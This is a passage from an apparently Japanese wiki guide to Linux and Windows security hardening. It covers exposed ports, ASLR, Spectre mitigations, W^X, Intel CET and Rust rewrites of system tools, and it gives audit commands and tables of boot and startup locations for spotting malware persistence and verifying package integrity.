| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
